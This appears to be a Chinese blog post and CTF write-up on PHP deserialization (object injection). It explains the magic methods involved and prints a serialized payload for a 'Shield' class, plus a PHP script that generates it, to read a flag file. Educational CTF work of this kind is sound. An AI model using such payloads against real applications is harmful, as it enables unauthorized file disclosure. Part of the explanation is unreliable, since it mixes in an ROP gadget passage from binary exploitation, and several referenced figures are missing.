PHP序列化漏洞
这个东西废了我三天时间我去
我们在了解这哥漏洞前要先明白什么是反序列化漏洞:
1.
PHP反序列化漏洞也叫PHP对象注入,是一个非常常见的漏洞,这种类型的漏洞虽然有些难以利用,但一旦利用成功就会造成非常危险的后果。漏洞的形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。
2.
实现这个漏洞需要一种魔法方法
例如:
_construct
_destruct
_sleep
_wakeup
_toString
_construct和__destruct会在对象创建或者销毁时自动调用,__sleep方法在一个对象被序列化的时候调用,__wakeup方法在一个对象被反序列化的时候调用。
_toString当一个对象被当作一个字符串被调用。
我们来看一个例子(借用大佬图片)
这里的最终结果为:
使用此漏洞:
其核心思想是在整个进程空间内现存的函数中寻找适合代码片断(gadget),并通过精心设计返回代码把各个gadget拼接起来,从而达到恶意攻击的目的。构造ROP攻击的难点在于,我们需要在整个进程空间中搜索我们需要的gadgets,这需要花费相当长的时间。但一旦完成了“搜索”和“拼接”,这样的攻击是无法抵挡的,因为它用到的都是程序中合法的的代码,普通的防护手段难以检测。
反序列化漏洞需要满足两个条件:
1、程序中存在序列化字符串的输入点
2、程序中存在可以利用的magic函数
我们通过一道我不会的ctf题解释一下
解释一下:
我们是通过构造payload将我们想让脚本执行的代码输入进去让脚本执行
我们构造:
O:6:”Shield”:1:{s:4:”file”;s:8:”pctf.php”;}
就可一回显出我们想要的pctf.php中的内容了
2.
其实我们可以通过题目给出的代码来自己写一下脚本自动生成序列化的代码:
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
}
$x = new Shield('pctf.php');
echo serialize($x);
?>
在网页上打开后得到
O:6:“Shield”:1:{s:4:“file”;s:8:“pctf.php”;}